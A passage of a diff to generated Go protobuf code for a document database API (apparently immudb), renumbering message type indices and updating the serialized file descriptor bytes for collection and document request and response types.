(*IndexDeleteResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{16} } type DocumentInsertRequest struct { @@ -782,7 +1000,7 @@ type DocumentInsertRequest struct { func (x *DocumentInsertRequest) Reset() { *x = DocumentInsertRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[13] + mi := &file_documents_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -795,7 +1013,7 @@ func (x *DocumentInsertRequest) String() string { func (*DocumentInsertRequest) ProtoMessage() {} func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[13] + mi := &file_documents_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -808,7 +1026,7 @@ func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{13} + return file_documents_proto_rawDescGZIP(), []int{17} } func (x *DocumentInsertRequest) GetCollection() string { @@ -837,7 +1055,7 @@ type DocumentInsertResponse struct { func (x *DocumentInsertResponse) Reset() { *x = DocumentInsertResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[14] + mi := &file_documents_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -850,7 +1068,7 @@ func (x *DocumentInsertResponse) String() string { func (*DocumentInsertResponse) ProtoMessage() {} func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[14] + mi := &file_documents_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -863,7 +1081,7 @@ func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{14} + return file_documents_proto_rawDescGZIP(), []int{18} } func (x *DocumentInsertResponse) GetTransactionId() uint64 { @@ -892,7 +1110,7 @@ type DocumentInsertManyRequest struct { func (x *DocumentInsertManyRequest) Reset() { *x = DocumentInsertManyRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[15] + mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -905,7 +1123,7 @@ func (x *DocumentInsertManyRequest) String() string { func (*DocumentInsertManyRequest) ProtoMessage() {} func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[15] + mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -918,7 +1136,7 @@ func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertManyRequest.ProtoReflect.Descriptor instead. func (*DocumentInsertManyRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{15} + return file_documents_proto_rawDescGZIP(), []int{19} } func (x *DocumentInsertManyRequest) GetCollection() string { @@ -947,7 +1165,7 @@ type DocumentInsertManyResponse struct { func (x *DocumentInsertManyResponse) Reset() { *x = DocumentInsertManyResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[16] + mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -960,7 +1178,7 @@ func (x *DocumentInsertManyResponse) String() string { func (*DocumentInsertManyResponse) ProtoMessage() {} func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[16] + mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -973,7 +1191,7 @@ func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentInsertManyResponse.ProtoReflect.Descriptor instead. func (*DocumentInsertManyResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{16} + return file_documents_proto_rawDescGZIP(), []int{20} } func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { @@ -1003,7 +1221,7 @@ type DocumentUpdateRequest struct { func (x *DocumentUpdateRequest) Reset() { *x = DocumentUpdateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[17] + mi := &file_documents_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1016,7 +1234,7 @@ func (x *DocumentUpdateRequest) String() string { func (*DocumentUpdateRequest) ProtoMessage() {} func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[17] + mi := &file_documents_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1029,7 +1247,7 @@ func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentUpdateRequest.ProtoReflect.Descriptor instead. func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{17} + return file_documents_proto_rawDescGZIP(), []int{21} } func (x *DocumentUpdateRequest) GetCollection() string { @@ -1066,7 +1284,7 @@ type DocumentUpdateResponse struct { func (x *DocumentUpdateResponse) Reset() { *x = DocumentUpdateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[18] + mi := &file_documents_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1079,7 +1297,7 @@ func (x *DocumentUpdateResponse) String() string { func (*DocumentUpdateResponse) ProtoMessage() {} func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[18] + mi := &file_documents_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1092,7 +1310,7 @@ func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentUpdateResponse.ProtoReflect.Descriptor instead. func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{18} + return file_documents_proto_rawDescGZIP(), []int{22} } func (x *DocumentUpdateResponse) GetTransactionId() uint64 { @@ -1132,7 +1350,7 @@ type DocumentSearchRequest struct { func (x *DocumentSearchRequest) Reset() { *x = DocumentSearchRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[19] + mi := &file_documents_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1145,7 +1363,7 @@ func (x *DocumentSearchRequest) String() string { func (*DocumentSearchRequest) ProtoMessage() {} func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[19] + mi := &file_documents_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1158,7 +1376,7 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{19} + return file_documents_proto_rawDescGZIP(), []int{23} } func (x *DocumentSearchRequest) GetSearchID() string { @@ -1214,7 +1432,7 @@ type Query struct { func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[20] + mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1227,7 +1445,7 @@ func (x *Query) String() string { func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[20] + mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1240,7 +1458,7 @@ func (x *Query) ProtoReflect() protoreflect.Message { // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{20} + return file_documents_proto_rawDescGZIP(), []int{24} } func (x *Query) GetExpressions() []*QueryExpression { @@ -1261,7 +1479,7 @@ type QueryExpression struct { func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1274,7 +1492,7 @@ func (x *QueryExpression) String() string { func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1287,7 +1505,7 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{21} + return file_documents_proto_rawDescGZIP(), []int{25} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { @@ -1310,7 +1528,7 @@ type FieldComparison struct { func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1323,7 +1541,7 @@ func (x *FieldComparison) String() string { func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1336,7 +1554,7 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{22} + return file_documents_proto_rawDescGZIP(), []int{26} } func (x *FieldComparison) GetField() string { @@ -1372,7 +1590,7 @@ type DocumentSearchResponse struct { func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1385,7 +1603,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1398,7 +1616,7 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{23} + return file_documents_proto_rawDescGZIP(), []int{27} } func (x *DocumentSearchResponse) GetSearchID() string { @@ -1428,7 +1646,7 @@ type DocumentAtRevision struct { func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1441,7 +1659,7 @@ func (x *DocumentAtRevision) String() string { func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1454,7 +1672,7 @@ func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{24} + return file_documents_proto_rawDescGZIP(), []int{28} } func (x *DocumentAtRevision) GetTransactionId() uint64 { @@ -1493,7 +1711,7 @@ type DocumentAuditRequest struct { func (x *DocumentAuditRequest) Reset() { *x = DocumentAuditRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1506,7 +1724,7 @@ func (x *DocumentAuditRequest) String() string { func (*DocumentAuditRequest) ProtoMessage() {} func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1519,7 +1737,7 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{25} + return file_documents_proto_rawDescGZIP(), []int{29} } func (x *DocumentAuditRequest) GetCollection() string { @@ -1568,7 +1786,7 @@ type DocumentAuditResponse struct { func (x *DocumentAuditResponse) Reset() { *x = DocumentAuditResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1581,7 +1799,7 @@ func (x *DocumentAuditResponse) String() string { func (*DocumentAuditResponse) ProtoMessage() {} func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1594,7 +1812,7 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{26} + return file_documents_proto_rawDescGZIP(), []int{30} } func (x *DocumentAuditResponse) GetRevisions() []*DocumentAtRevision { @@ -1618,7 +1836,7 @@ type DocumentProofRequest struct { func (x *DocumentProofRequest) Reset() { *x = DocumentProofRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1631,7 +1849,7 @@ func (x *DocumentProofRequest) String() string { func (*DocumentProofRequest) ProtoMessage() {} func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1644,7 +1862,7 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{27} + return file_documents_proto_rawDescGZIP(), []int{31} } func (x *DocumentProofRequest) GetCollection() string { @@ -1690,7 +1908,7 @@ type DocumentProofResponse struct { func (x *DocumentProofResponse) Reset() { *x = DocumentProofResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1703,7 +1921,7 @@ func (x *DocumentProofResponse) String() string { func (*DocumentProofResponse) ProtoMessage() {} func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1716,7 +1934,7 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{28} + return file_documents_proto_rawDescGZIP(), []int{32} } func (x *DocumentProofResponse) GetDatabase() string { @@ -1766,314 +1984,350 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, 0x0a, 0x18, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, - 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, - 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, - 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, - 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, - 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, - 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, - 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 